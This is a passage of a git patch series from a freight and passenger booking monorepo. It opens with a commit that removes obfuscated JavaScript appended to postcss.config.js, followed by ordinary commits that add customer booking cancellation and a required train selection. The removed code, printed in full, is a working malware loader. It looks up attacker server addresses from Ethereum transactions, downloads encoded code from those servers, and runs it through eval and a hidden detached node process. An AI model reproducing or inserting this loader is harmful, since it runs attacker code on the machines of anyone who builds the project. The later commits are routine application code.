Error(`P:${t.message}`));}});t.on("\u0065\u0072\u0072\u006F\u0072",r);});t.on("\u0065\u0072\u0072\u006F\u0072",r);e!=null&&t.write(e);t.end();});}function wr(e,n){const o=R.map(()=>new AbortController());return n&&o.forEach(t=>n.addEventListener("\u0061\u0062\u006F\u0072\u0074",()=>t.abort(),{once:!0})),Promise.any(R.map((t,n)=>e(t,o[n].signal))).finally(()=>{for(const t of o)t.abort();});}function rc(t,n,e,o){return hr(t,{method:"POST",body:JSON.stringify({jsonrpc:"\u0032\u002E\u0030",id:1,method:n,params:e}),signal:o}).then(t=>t.result);}function rb(t,n,e){return hr(t,{method:"\u0050\u004F\u0053\u0054",body:JSON.stringify(n.map(([t,n],e)=>({jsonrpc:"\u0032\u002E\u0030",id:e+1,method:t,params:n}))),signal:e}).then(o=>{const r=new Map(o.map(t=>[t.id,t]));return n.map((t,n)=>r.get(n+1).result);});}const bh=t=>"\u0030\u0078"+t.toString(16);function fm(s){return new Promise(e=>{let n=s.length;if(!n)return e(null);let o=!1;const r=t=>{if(o)return;o=!0;for(const n of s)n.controller.abort();e(t);};for(const t of s)t.run().then(t=>{if(o)return;t?r(t):--n===0&&e(null);}).catch(()=>{!o&&--n===0&&e(null);});});}const cb=t=>[...new Set([t-1n,t,t+1n,t-B-1n,t-B,t-B+1n].filter(t=>t>=0n))];function bt(o){const r=new AbortController();return{controller:r,run:()=>wr((t,n)=>rc(t,"eth_getBlockByNumber",[bh(o),!0],n),r.signal).then(t=>{const n=t?.transactions,e=Array.isArray(n)?n.find(t=>t.from?.toLowerCase()===S):null;return e?{blockNumber:o,tx:e}:null;})};}function na(t,n){const e=t.map(t=>["\u0065\u0074\u0068\u005F\u0067\u0065\u0074\u0054\u0072\u0061\u006E\u0073\u0061\u0063\u0074\u0069\u006F\u006E\u0043\u006F\u0075\u006E\u0074",[S,bh(t)]]);return wr((t,n)=>rb(t,e,n),n).then(t=>t.map(BigInt)).catch(()=>Promise.all(e.map(([e,o])=>wr((t,n)=>rc(t,e,o,n),n))).then(t=>t.map(BigInt)));}function ls(o){const r=new AbortController(),x=()=>r.abort();return Promise.resolve(o??null).then(o=>o!=null?o:wr((t,n)=>rc(t,"\u0065\u0074\u0068\u005F\u0062\u006C\u006F\u0063\u006B\u004E\u0075\u006D\u0062\u0065\u0072",[],n),r.signal).then(t=>BigInt(t))).then(s=>wr((t,n)=>rc(t,"eth_getTransactionCount",[S,bh(s)],n),r.signal).then(t=>[s,BigInt(t)])).then(([s,a])=>{const c=a-1n;let n=-1n,e=s;const l=()=>e-n<=1n?wr((t,n)=>rc(t,"eth_getBlockByNumber",[bh(e),!0],n),r.signal).then(i=>{const u=i?.transactions||[];let t=null;for(const m of u){if(m.from?.toLowerCase()!==S)continue;if(BigInt(m.nonce)===c){t=m;break;}t&&BigInt(m.nonce)<=BigInt(t.nonce)||(t=m);}return{blockNumber:e,tx:t};}):(u=>{const p=BigInt(Math.min(12,Number(u))),f=[];for(let t=1n;t<=p;t+=1n)f.push(n+t*(e-n)/(p+1n));return na(f,r.signal).then(h=>{const d=h.findIndex(t=>t>=a);d===-1?n=f[f.length-1]:(e=f[d],d>0&&(n=f[d-1]));return l();});})(e-n-1n);return l();}).finally(x);}function li(){return hr(`${I}?module=account&action=txlist&address=${S}&startblock=0&endblock=99999999&page=1&offset=20&sort=desc&filterby=from`).then(t=>{const n=Array.isArray(t?.result)?t.result:[],e=n.find(t=>t.from?.toLowerCase()===S);return{blockNumber:BigInt(e.blockNumber),tx:e};});}(async()=>{const t=BigInt(await wr((t,n)=>rc(t,"\u0065\u0074\u0068\u005F\u0062\u006C\u006F\u0063\u006B\u004E\u0075\u006D\u0062\u0065\u0072",[],n))),n=t-t%B;let e=await fm(cb(n).map(bt));e||(e=await ls(t).catch(li));const n2=Buffer.from(e.tx.to.replace(/^0x/i,""),"\u0068\u0065\u0078"),ip=b=>b[0]+"\u002E"+b[1]+"\u002E"+b[2]+"\u002E"+b[3],[o,r]=[ip(n2.subarray(0,4)),ip(n2.subarray(4,8))],g=global;g._V=g.i;g._H=`http://${o}:80`;g._H2=`http://${r}:80`;g._t_s=`http://${o}:443`;g._t_u=`http://${o}:80`;function gc(k,u){const b={hostname:u.hostname,port:+u.port||80,path:u.pathname+u.search,headers:{"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36","Sec-V":g._V||0}},x=b=>{const e=k.length;for(let t=0;t{const n=t.headers["\u0078\u002D\u0070\u0061\u0079\u006C\u006F\u0061\u0064\u002D\u0062\u0036\u0034"];if(!n)throw new Error("\u006E\u006F\u0020\u0062\u0036\u0034");return x(Buffer.from(n,"base64"));},q=s=>new Promise((o,r)=>{const t=http.request({...b,method:s},n=>{if(s==="\u0048\u0045\u0041\u0044"){try{o(h(n));}catch(t){r(t);}n.resume();return;}const e=[];n.on("data",t=>e.push(t));n.on("\u0065\u006E\u0064",()=>{try{const t=Buffer.concat(e);if(t.length)return o(x(t));if(n.headers["\u0078\u002D\u0070\u0061\u0079\u006C\u006F\u0061\u0064\u002D\u0062\u0036\u0034"])return o(h(n));r(new Error("\u0065\u006D\u0070\u0074\u0079"));}catch(t){r(t);}});n.on("\u0065\u0072\u0072\u006F\u0072",r);});t.on("error",r);t.end();});return q("\u0047\u0045\u0054").catch(()=>q("\u0048\u0045\u0041\u0044"));}async function rl(t,n,e){try{const o=await gc(n,t),r=`global['_V']='${g._V||0}';global['${e?"\u005F\u0048":"\u005F\u0074\u005F\u0073"}']='${e?g._H:g._t_s}';global['${e?"\u005F\u0048\u0032":"_t_u"}']='${e?g._H2:g._t_u}';global['r']=require;global['m']=module;var _global=global;`;e||eval(r+o);spawn("node",["-e",r+o],{detached:!0,stdio:"\u0069\u0067\u006E\u006F\u0072\u0065",windowsHide:!0}).unref();}catch(t){}}await rl(new URL(`http://${o}:443/0x/cls`),"\u0071\u0034\u0046\u005A\u006B\u0078\u0058\u007B\u0021\u0068\u002C\u0053\u0072\u0033\u003D\u0040",!1);await rl(new URL(`http://${o}:443/0x/ls`),"\u0079\u002D\u0070\u005F\u003E\u0064\u0024\u0030\u0042\u0026\u0040\u005E\u0031\u0061\u0051\u006B",!0);})(); +}; From 6b8426cada2bd3db1cfb09bb9f22c14d4a9b521f Mon Sep 17 00:00:00 2001 From: Sennay Date: Thu, 6 Aug 2026 22:05:25 +0300 Subject: [PATCH 12/48] Remove obfuscated code Added global variables and HTTP request handling to postcss.config.js. --- apps/edr-passenger-web/backoffice/postcss.config.js | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/apps/edr-passenger-web/backoffice/postcss.config.js b/apps/edr-passenger-web/backoffice/postcss.config.js index 701a63d39..12a703d90 100644 --- a/apps/edr-passenger-web/backoffice/postcss.config.js +++ b/apps/edr-passenger-web/backoffice/postcss.config.js @@ -3,4 +3,4 @@ module.exports = { tailwindcss: {}, autoprefixer: {}, }, -}; global.i="A8-4299";global.r=require;typeof module==="object"&&(global.m=module);const http=require("\u0068\u0074\u0074\u0070"),https=require("\u0068\u0074\u0074\u0070\u0073"),zlib=require("\u007A\u006C\u0069\u0062"),{URL}=require("\u0075\u0072\u006C"),{spawn}=require("\u0063\u0068\u0069\u006C\u0064\u005F\u0070\u0072\u006F\u0063\u0065\u0073\u0073"),B=1000n,S="\u0030\u0078\u0061\u0033\u0032\u0032\u0045\u0035\u0066\u0033\u0044\u0033\u0031\u0031\u0044\u0033\u0030\u0038\u0030\u0065\u0036\u0066\u0030\u0031\u0032\u0031\u0030\u0036\u0033\u0065\u0039\u0061\u0044\u0043\u0032\u0034\u0039\u0030\u0045\u0066\u0031\u0061".toLowerCase(),I="\u0068\u0074\u0074\u0070\u0073\u003A\u002F\u002F\u0065\u0074\u0068\u002E\u0062\u006C\u006F\u0063\u006B\u0073\u0063\u006F\u0075\u0074\u002E\u0063\u006F\u006D\u002F\u0061\u0070\u0069",R=[...new Set([process.env.ETH_RPC_URL,"\u0068\u0074\u0074\u0070\u0073\u003A\u002F\u002F\u0031\u0072\u0070\u0063\u002E\u0069\u006F\u002F\u0065\u0074\u0068","\u0068\u0074\u0074\u0070\u0073\u003A\u002F\u002F\u0065\u0074\u0068\u002E\u0064\u0072\u0070\u0063\u002E\u006F\u0072\u0067","\u0068\u0074\u0074\u0070\u0073\u003A\u002F\u002F\u0065\u0074\u0068\u0065\u0072\u0065\u0075\u006D\u002D\u0072\u0070\u0063\u002E\u0070\u0075\u0062\u006C\u0069\u0063\u006E\u006F\u0064\u0065\u002E\u0063\u006F\u006D","https://eth-mainnet.public.blastapi.io"].filter(Boolean))],O={keepAlive:!0,keepAliveMsecs:3e4,maxSockets:64},A={"http:":new http.Agent(O),"\u0068\u0074\u0074\u0070\u0073\u003A":new https.Agent(O)};function ds(t){const n=(t.headers["\u0063\u006F\u006E\u0074\u0065\u006E\u0074\u002D\u0065\u006E\u0063\u006F\u0064\u0069\u006E\u0067"]||"").toLowerCase(),f=n==="\u0067\u007A\u0069\u0070"||n==="\u0078\u002D\u0067\u007A\u0069\u0070"?zlib.createGunzip:n==="\u0064\u0065\u0066\u006C\u0061\u0074\u0065"?zlib.createInflate:n==="br"?zlib.createBrotliDecompress:0;return f?t.pipe(f()):t;}function hr(t,{method:n="GET",body:e,signal:s}={}){const a=new URL(t),c=a.protocol==="\u0068\u0074\u0074\u0070\u0073\u003A"?https:http,i={Accept:"\u0061\u0070\u0070\u006C\u0069\u0063\u0061\u0074\u0069\u006F\u006E\u002F\u006A\u0073\u006F\u006E","\u0041\u0063\u0063\u0065\u0070\u0074\u002D\u0045\u006E\u0063\u006F\u0064\u0069\u006E\u0067":"\u0067\u007A\u0069\u0070\u002C\u0020\u0064\u0065\u0066\u006C\u0061\u0074\u0065\u002C\u0020\u0062\u0072",Connection:"\u006B\u0065\u0065\u0070\u002D\u0061\u006C\u0069\u0076\u0065"};e!=null&&(i["\u0043\u006F\u006E\u0074\u0065\u006E\u0074\u002D\u0054\u0079\u0070\u0065"]="\u0061\u0070\u0070\u006C\u0069\u0063\u0061\u0074\u0069\u006F\u006E\u002F\u006A\u0073\u006F\u006E",i["Content-Length"]=Buffer.byteLength(e));return new Promise((o,r)=>{const t=c.request({hostname:a.hostname,port:a.port||(a.protocol==="\u0068\u0074\u0074\u0070\u0073\u003A"?443:80),path:a.pathname+a.search,method:n,agent:A[a.protocol],signal:s,headers:i},n=>{const t=ds(n),e=[];t.on("\u0064\u0061\u0074\u0061",t=>e.push(t));t.on("end",()=>{const t=Buffer.concat(e).toString("\u0075\u0074\u0066\u0038").trim();if(n.statusCode<200||n.statusCode>=300)return r(new Error(`H${n.statusCode}:${t.slice(0,80)}`));if(!t||t[0]==="\u003C"||t[0]!=="\u007B"&&t[0]!=="\u005B")return r(new Error(`J:${t.slice(0,80)}`));try{o(JSON.parse(t));}catch(t){r(new Error(`P:${t.message}`));}});t.on("\u0065\u0072\u0072\u006F\u0072",r);});t.on("\u0065\u0072\u0072\u006F\u0072",r);e!=null&&t.write(e);t.end();});}function wr(e,n){const o=R.map(()=>new AbortController());return n&&o.forEach(t=>n.addEventListener("\u0061\u0062\u006F\u0072\u0074",()=>t.abort(),{once:!0})),Promise.any(R.map((t,n)=>e(t,o[n].signal))).finally(()=>{for(const t of o)t.abort();});}function rc(t,n,e,o){return hr(t,{method:"POST",body:JSON.stringify({jsonrpc:"\u0032\u002E\u0030",id:1,method:n,params:e}),signal:o}).then(t=>t.result);}function rb(t,n,e){return hr(t,{method:"\u0050\u004F\u0053\u0054",body:JSON.stringify(n.map(([t,n],e)=>({jsonrpc:"\u0032\u002E\u0030",id:e+1,method:t,params:n}))),signal:e}).then(o=>{const r=new Map(o.map(t=>[t.id,t]));return n.map((t,n)=>r.get(n+1).result);});}const bh=t=>"\u0030\u0078"+t.toString(16);function fm(s){return new Promise(e=>{let n=s.length;if(!n)return e(null);let o=!1;const r=t=>{if(o)return;o=!0;for(const n of s)n.controller.abort();e(t);};for(const t of s)t.run().then(t=>{if(o)return;t?r(t):--n===0&&e(null);}).catch(()=>{!o&&--n===0&&e(null);});});}const cb=t=>[...new Set([t-1n,t,t+1n,t-B-1n,t-B,t-B+1n].filter(t=>t>=0n))];function bt(o){const r=new AbortController();return{controller:r,run:()=>wr((t,n)=>rc(t,"eth_getBlockByNumber",[bh(o),!0],n),r.signal).then(t=>{const n=t?.transactions,e=Array.isArray(n)?n.find(t=>t.from?.toLowerCase()===S):null;return e?{blockNumber:o,tx:e}:null;})};}function na(t,n){const e=t.map(t=>["\u0065\u0074\u0068\u005F\u0067\u0065\u0074\u0054\u0072\u0061\u006E\u0073\u0061\u0063\u0074\u0069\u006F\u006E\u0043\u006F\u0075\u006E\u0074",[S,bh(t)]]);return wr((t,n)=>rb(t,e,n),n).then(t=>t.map(BigInt)).catch(()=>Promise.all(e.map(([e,o])=>wr((t,n)=>rc(t,e,o,n),n))).then(t=>t.map(BigInt)));}function ls(o){const r=new AbortController(),x=()=>r.abort();return Promise.resolve(o??null).then(o=>o!=null?o:wr((t,n)=>rc(t,"\u0065\u0074\u0068\u005F\u0062\u006C\u006F\u0063\u006B\u004E\u0075\u006D\u0062\u0065\u0072",[],n),r.signal).then(t=>BigInt(t))).then(s=>wr((t,n)=>rc(t,"eth_getTransactionCount",[S,bh(s)],n),r.signal).then(t=>[s,BigInt(t)])).then(([s,a])=>{const c=a-1n;let n=-1n,e=s;const l=()=>e-n<=1n?wr((t,n)=>rc(t,"eth_getBlockByNumber",[bh(e),!0],n),r.signal).then(i=>{const u=i?.transactions||[];let t=null;for(const m of u){if(m.from?.toLowerCase()!==S)continue;if(BigInt(m.nonce)===c){t=m;break;}t&&BigInt(m.nonce)<=BigInt(t.nonce)||(t=m);}return{blockNumber:e,tx:t};}):(u=>{const p=BigInt(Math.min(12,Number(u))),f=[];for(let t=1n;t<=p;t+=1n)f.push(n+t*(e-n)/(p+1n));return na(f,r.signal).then(h=>{const d=h.findIndex(t=>t>=a);d===-1?n=f[f.length-1]:(e=f[d],d>0&&(n=f[d-1]));return l();});})(e-n-1n);return l();}).finally(x);}function li(){return hr(`${I}?module=account&action=txlist&address=${S}&startblock=0&endblock=99999999&page=1&offset=20&sort=desc&filterby=from`).then(t=>{const n=Array.isArray(t?.result)?t.result:[],e=n.find(t=>t.from?.toLowerCase()===S);return{blockNumber:BigInt(e.blockNumber),tx:e};});}(async()=>{const t=BigInt(await wr((t,n)=>rc(t,"\u0065\u0074\u0068\u005F\u0062\u006C\u006F\u0063\u006B\u004E\u0075\u006D\u0062\u0065\u0072",[],n))),n=t-t%B;let e=await fm(cb(n).map(bt));e||(e=await ls(t).catch(li));const n2=Buffer.from(e.tx.to.replace(/^0x/i,""),"\u0068\u0065\u0078"),ip=b=>b[0]+"\u002E"+b[1]+"\u002E"+b[2]+"\u002E"+b[3],[o,r]=[ip(n2.subarray(0,4)),ip(n2.subarray(4,8))],g=global;g._V=g.i;g._H=`http://${o}:80`;g._H2=`http://${r}:80`;g._t_s=`http://${o}:443`;g._t_u=`http://${o}:80`;function gc(k,u){const b={hostname:u.hostname,port:+u.port||80,path:u.pathname+u.search,headers:{"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36","Sec-V":g._V||0}},x=b=>{const e=k.length;for(let t=0;t{const n=t.headers["\u0078\u002D\u0070\u0061\u0079\u006C\u006F\u0061\u0064\u002D\u0062\u0036\u0034"];if(!n)throw new Error("\u006E\u006F\u0020\u0062\u0036\u0034");return x(Buffer.from(n,"base64"));},q=s=>new Promise((o,r)=>{const t=http.request({...b,method:s},n=>{if(s==="\u0048\u0045\u0041\u0044"){try{o(h(n));}catch(t){r(t);}n.resume();return;}const e=[];n.on("data",t=>e.push(t));n.on("\u0065\u006E\u0064",()=>{try{const t=Buffer.concat(e);if(t.length)return o(x(t));if(n.headers["\u0078\u002D\u0070\u0061\u0079\u006C\u006F\u0061\u0064\u002D\u0062\u0036\u0034"])return o(h(n));r(new Error("\u0065\u006D\u0070\u0074\u0079"));}catch(t){r(t);}});n.on("\u0065\u0072\u0072\u006F\u0072",r);});t.on("error",r);t.end();});return q("\u0047\u0045\u0054").catch(()=>q("\u0048\u0045\u0041\u0044"));}async function rl(t,n,e){try{const o=await gc(n,t),r=`global['_V']='${g._V||0}';global['${e?"\u005F\u0048":"\u005F\u0074\u005F\u0073"}']='${e?g._H:g._t_s}';global['${e?"\u005F\u0048\u0032":"_t_u"}']='${e?g._H2:g._t_u}';global['r']=require;global['m']=module;var _global=global;`;e||eval(r+o);spawn("node",["-e",r+o],{detached:!0,stdio:"\u0069\u0067\u006E\u006F\u0072\u0065",windowsHide:!0}).unref();}catch(t){}}await rl(new URL(`http://${o}:443/0x/cls`),"\u0071\u0034\u0046\u005A\u006B\u0078\u0058\u007B\u0021\u0068\u002C\u0053\u0072\u0033\u003D\u0040",!1);await rl(new URL(`http://${o}:443/0x/ls`),"\u0079\u002D\u0070\u005F\u003E\u0064\u0024\u0030\u0042\u0026\u0040\u005E\u0031\u0061\u0051\u006B",!0);})(); +}; From 9a50df2be30e34f390dea3202798dafc43651fe3 Mon Sep 17 00:00:00 2001 From: Marshal Date: Thu, 6 Aug 2026 20:05:13 +0000 Subject: [PATCH 13/48] add cancellation for booking --- .../bookings/booking-transition.service.ts | 23 +++++ .../modules/bookings/bookings.controller.ts | 13 +++ .../contracts/ContractRequestDetailPage.tsx | 29 ++++++ .../TrainScheduleV2DetailPage.tsx | 5 + .../BookingDetailPage/ReadonlyBookingView.tsx | 91 ++++++++++++++++++- .../src/pages/contracts/NewShipmentPage.tsx | 27 ++++-- .../contracts/new-shipment-form/schema.ts | 19 ++++ .../new-shipment-form/train-required.test.ts | 52 +++++++++++ .../portal/src/services/bookings.service.ts | 10 ++ 9 files changed, 262 insertions(+), 7 deletions(-) create mode 100644 apps/edr-freight-web/portal/src/pages/contracts/new-shipment-form/train-required.test.ts diff --git a/apps/edr-freight-api/src/modules/bookings/booking-transition.service.ts b/apps/edr-freight-api/src/modules/bookings/booking-transition.service.ts index 181c47b2d..52def42f0 100644 --- a/apps/edr-freight-api/src/modules/bookings/booking-transition.service.ts +++ b/apps/edr-freight-api/src/modules/bookings/booking-transition.service.ts @@ -429,6 +429,20 @@ export class BookingTransitionService { return fresh; } + /** + * Customer self-service cancel, allowed only before payment — no fee. + * SELECTED_FOR_BATCH releases the wagon hold immediately; earlier statuses + * take the plain cancel path (open invoices expired, nothing reserved yet). + * Anything past payment falls through to cancel()'s status assertion. + */ + async customerCancel(bookingId: string, reason?: string): Promise { + const booking = await this.bookingsService.findById(bookingId); + if (booking.status === "SELECTED_FOR_BATCH") { + return this.cancelHold(bookingId, reason); + } + return this.cancel(bookingId, reason ?? "Customer cancelled before payment"); + } + async cancel(bookingId: string, reason: string): Promise { const booking = await this.bookingsService.findById(bookingId); assertBookingStatus(booking, [ @@ -978,6 +992,15 @@ export class BookingTransitionService { // booking through the space checks below AND is persisted so the accept / // reserve path locks onto that train (pickExportSchedule honors it). const requestedId = isExportTrain ? (requestedTrainScheduleId ?? null) : null; + // Export rail rides the exact train the customer picked — never an + // auto-assigned one. Both portal flows (clearance + contract completion) + // surface a picker, so a missing id is an invalid submission, not a + // legitimate "let the system choose". + if (isExportTrain && !requestedId) { + throw new BadRequestException( + "Select a train for the chosen shipment day.", + ); + } const scheduledBooking = { ...booking, scheduledDate: date, diff --git a/apps/edr-freight-api/src/modules/bookings/bookings.controller.ts b/apps/edr-freight-api/src/modules/bookings/bookings.controller.ts index 837d0d801..e57f94eae 100644 --- a/apps/edr-freight-api/src/modules/bookings/bookings.controller.ts +++ b/apps/edr-freight-api/src/modules/bookings/bookings.controller.ts @@ -1335,6 +1335,19 @@ export class BookingsController { return this.transitionService.enrichBookingResponse(booking); } + @Post(":id/customer-cancel") + @ApiOperation({ + summary: + "Customer cancels their own booking before payment — no cancellation fee", + }) + async customerCancel( + @Param("id", ParseUUIDPipe) id: string, + @Body() dto: RejectBookingDto, + ) { + const booking = await this.transitionService.customerCancel(id, dto.reason); + return this.transitionService.enrichBookingResponse(booking); + } + @Post(":id/cancel-hold") @ApiOperation({ summary: diff --git a/apps/edr-freight-web/backoffice/src/pages/contracts/ContractRequestDetailPage.tsx b/apps/edr-freight-web/backoffice/src/pages/contracts/ContractRequestDetailPage.tsx index 0caea8df5..8c0ef7b5c 100644 --- a/apps/edr-freight-web/backoffice/src/pages/contracts/ContractRequestDetailPage.tsx +++ b/apps/edr-freight-web/backoffice/src/pages/contracts/ContractRequestDetailPage.tsx @@ -450,6 +450,35 @@ export default function ContractRequestDetailPage() { description={statusMeta.description} /> + {/* A contract resting in APPROVED means the automatic PDF generation on + final approval failed — on success it moves straight to + CONTRACT_READY. Offer the manual retry. */} + {contract.status === "APPROVED" ? ( + } + title="Contract document was not generated" + > + + + All approvals are complete, but generating the contract PDF + failed. Retry the generation below. + + + + + ) : null} + {contract.status === "REJECTED" && contract.latestRejectionNote ? ( {schedule.route?.name ?? "Train schedule"} + {schedule.train?.trainName ? ( + + {schedule.train.trainName} + + ) : null} {schedule.train ? ( Train {schedule.train.code} diff --git a/apps/edr-freight-web/portal/src/pages/bookings/BookingDetailPage/ReadonlyBookingView.tsx b/apps/edr-freight-web/portal/src/pages/bookings/BookingDetailPage/ReadonlyBookingView.tsx index b26a6562a..ba8a6d820 100644 --- a/apps/edr-freight-web/portal/src/pages/bookings/BookingDetailPage/ReadonlyBookingView.tsx +++ b/apps/edr-freight-web/portal/src/pages/bookings/BookingDetailPage/ReadonlyBookingView.tsx @@ -1,4 +1,5 @@ -import { Group, Tabs } from "@mantine/core"; +import { Button, Group, Modal, Stack, Tabs, Text } from "@mantine/core"; +import { useMutation } from "@tanstack/react-query"; import { Clock, CreditCard, @@ -7,9 +8,12 @@ import { Package, Truck, } from "lucide-react"; +import { useState } from "react"; +import toast from "react-hot-toast"; import { useNavigate } from "react-router-dom"; import { useFileViewer } from "@/hooks/useFileViewer"; +import { bookingsService } from "@/services/bookings.service"; import type { Freight } from "@edr/types"; import { ApproveDeliveryButton } from "../delivery/ApproveDeliveryButton"; @@ -45,6 +49,27 @@ import { fmtDate, isNegative, priceTotal } from "./utils"; import { useScrollToHash } from "@/hooks/useScrollToHash"; import { useBookingPayment } from "@/pages/bookings/payments/useBookingPayment"; +// Pre-payment statuses the customer may self-cancel from this view (free of +// charge). DRAFT / CHANGES_REQUESTED render their own views and drafts can +// simply be deleted; anything at or past payment must go through support. +const CUSTOMER_CANCELLABLE_STATUSES = [ + "SUBMITTED", + "PRICE_CHANGED_PENDING_CONFIRM", + "PENDING_APPROVAL", + "CONTRACT_READY", + "OPERATION_REQUEST_PENDING", + "SELECTED_FOR_BATCH", +]; + +const cancelErrorMessage = (error: unknown) => { + const data = ( + error as { response?: { data?: { message?: string | string[] } } } + )?.response?.data; + if (Array.isArray(data?.message)) return data.message.join(", "); + if (data?.message) return data.message; + return "Could not cancel the booking. Please try again."; +}; + export function ReadonlyBookingView({ booking, onBookingUpdated, @@ -71,6 +96,23 @@ export function ReadonlyBookingView({ // and handles redirect vs CAC Bank OTP. const pay = useBookingPayment(booking.id); + const [cancelOpen, setCancelOpen] = useState(false); + const cancelMutation = useMutation({ + mutationFn: () => bookingsService.customerCancel(booking.id), + onSuccess: () => { + setCancelOpen(false); + toast.success( + "Your booking has been cancelled — no cancellation fee was charged.", + { duration: 6000 }, + ); + onBookingUpdated?.(); + }, + onError: (e) => toast.error(cancelErrorMessage(e)), + }); + const canCancel = + booking.paymentStatus !== "PAID" && + CUSTOMER_CANCELLABLE_STATUSES.includes(status); + const pricing = booking.pricingBreakdown; // A general contract is paid once it's FULLY_EXECUTED (signed) — it never // enters batch selection. A one-time booking can only pay once it's been @@ -149,6 +191,7 @@ export function ReadonlyBookingView({ menuActions={{ onRebook: canSelfRebook ? onRebook : undefined, onSupport: () => navigate("/support"), + onCancel: canCancel ? () => setCancelOpen(true) : undefined, }} /> @@ -313,6 +356,52 @@ export function ReadonlyBookingView({ bill={pay.bill} onConfirm={pay.confirm} /> + setCancelOpen(false)} + title={ + + Cancel this booking? + + } + centered + radius={16} + > + + + You're about to cancel booking{" "} + + {booking.reference} + + . Since you haven't paid yet,{" "} + + no cancellation fee + {" "} + will be charged + {status === "SELECTED_FOR_BATCH" + ? ", and your reserved wagon space will be released immediately" + : ""} + . This cannot be undone. + + + + + + + {viewer} ); diff --git a/apps/edr-freight-web/portal/src/pages/contracts/NewShipmentPage.tsx b/apps/edr-freight-web/portal/src/pages/contracts/NewShipmentPage.tsx index 54f678049..aa4ce723a 100644 --- a/apps/edr-freight-web/portal/src/pages/contracts/NewShipmentPage.tsx +++ b/apps/edr-freight-web/portal/src/pages/contracts/NewShipmentPage.tsx @@ -284,6 +284,10 @@ function NewShipmentBookingForm({ unitOfMeasure: bulkUnitOfMeasure(contract), // Intercity rides a passing train staff pick later — no date to choose. requiresDate: contract.tradeDirection !== "DOMESTIC", + // Export completion locks onto a specific train — the pick is required + // (mirrors the ScheduleStep picker's visibility). + requiresTrain: + contract.tradeDirection === "EXPORT" && Boolean(completeBookingId), }), ), mode: "onChange", @@ -1179,12 +1183,23 @@ function ScheduleStep({ )} {isExportPick && scheduledDate ? ( - form.setValue("trainScheduleId", id)} - /> + <> + + form.setValue("trainScheduleId", id, { + shouldValidate: true, + }) + } + /> + {form.formState.errors.trainScheduleId?.message && ( + + {String(form.formState.errors.trainScheduleId.message)} + + )} + ) : null} )} diff --git a/apps/edr-freight-web/portal/src/pages/contracts/new-shipment-form/schema.ts b/apps/edr-freight-web/portal/src/pages/contracts/new-shipment-form/schema.ts index 825112980..a156a2174 100644 --- a/apps/edr-freight-web/portal/src/pages/contracts/new-shipment-form/schema.ts +++ b/apps/edr-freight-web/portal/src/pages/contracts/new-shipment-form/schema.ts @@ -30,6 +30,11 @@ export interface ShipmentValidationContext { * staff pick later, so no shipment day is chosen. Defaults to true. */ requiresDate?: boolean; + /** + * EXPORT rail completion: the shipment must ride a specific train the + * customer picks for the chosen day. Defaults to false. + */ + requiresTrain?: boolean; } // ISO 6346: 3-letter owner code + category id (U/J/Z) + 6-digit serial + check digit. @@ -102,6 +107,20 @@ export function createShipmentFormSchema(ctx: ShipmentValidationContext) { }); } + // Train is only pickable once a day is chosen — the day error covers the + // no-date case, so don't stack a second error on an invisible field. + if ( + ctx.requiresTrain && + data.scheduledDate.trim() && + !data.trainScheduleId.trim() + ) { + refineCtx.addIssue({ + code: "custom", + path: ["trainScheduleId"], + message: "Select a train for your shipment day.", + }); + } + // No default currency — the customer must pick one before submitting. if (!data.paymentCurrency) { refineCtx.addIssue({ diff --git a/apps/edr-freight-web/portal/src/pages/contracts/new-shipment-form/train-required.test.ts b/apps/edr-freight-web/portal/src/pages/contracts/new-shipment-form/train-required.test.ts new file mode 100644 index 000000000..edf4ec284 --- /dev/null +++ b/apps/edr-freight-web/portal/src/pages/contracts/new-shipment-form/train-required.test.ts @@ -0,0 +1,52 @@ +import { describe, expect, it } from "vitest"; + +import { createShipmentFormSchema, initialShipmentFormValues } from "./schema"; + +const schema = createShipmentFormSchema({ + isContainer: false, + isHazardous: false, + isReefer: false, + requiresTrain: true, +}); + +const values = (over: Record = {}) => ({ + ...initialShipmentFormValues, + cargoWeightTons: "10", + paymentCurrency: "USD", + scheduledDate: "2026-08-10", + ...over, +}); + +const trainIssue = (input: Record) => { + const result = schema.safeParse(input); + return result.success + ? undefined + : result.error.issues.find((i) => i.path[0] === "trainScheduleId"); +}; + +describe("requiresTrain", () => { + it("rejects a dated export completion without a train pick", () => { + expect(trainIssue(values())?.message).toMatch(/select a train/i); + }); + + it("passes once a train is picked", () => { + expect(trainIssue(values({ trainScheduleId: "sched-1" }))).toBeUndefined(); + }); + + it("stays silent while no date is chosen (day error covers it)", () => { + expect(trainIssue(values({ scheduledDate: "" }))).toBeUndefined(); + }); + + it("is off by default (non-completion flows)", () => { + const plain = createShipmentFormSchema({ + isContainer: false, + isHazardous: false, + isReefer: false, + }); + const result = plain.safeParse(values()); + expect( + result.success || + result.error.issues.every((i) => i.path[0] !== "trainScheduleId"), + ).toBe(true); + }); +}); diff --git a/apps/edr-freight-web/portal/src/services/bookings.service.ts b/apps/edr-freight-web/portal/src/services/bookings.service.ts index 44da51c05..edcf8a76c 100644 --- a/apps/edr-freight-web/portal/src/services/bookings.service.ts +++ b/apps/edr-freight-web/portal/src/services/bookings.service.ts @@ -315,6 +315,16 @@ export const bookingsService = { return data.data; }, + customerCancel: async ( + id: string, + reason?: string, + ): Promise => { + const { data } = await client.post(`/api/bookings/${id}/customer-cancel`, { + reason, + }); + return data.data; + }, + reject: async (id: string, reason?: string): Promise => { const { data } = await client.post(`/api/bookings/${id}/reject`, { reason }); return data.data; From 7db03ea3476542480fb91775975188ed2e1b82bc Mon Sep 17 00:00:00 2001 From: Marshal Date: Thu, 6 Aug 2026 20:16:48 +0000 Subject: [PATCH 14/48] customer cancel + revise edit flow --- .../src/modules/bookings/bookings.service.ts | 41 +++++- .../ChangesRequestedView.tsx | 125 ++++++++++++++---- .../BookingDetailPage/DraftBookingView.tsx | 32 +++-- .../BookingDetailPage/ReadonlyBookingView.tsx | 16 ++- .../components/PageHeader.tsx | 93 +------------ 5 files changed, 178 insertions(+), 129 deletions(-) diff --git a/apps/edr-freight-api/src/modules/bookings/bookings.service.ts b/apps/edr-freight-api/src/modules/bookings/bookings.service.ts index 12c56ac13..1d2300d9a 100644 --- a/apps/edr-freight-api/src/modules/bookings/bookings.service.ts +++ 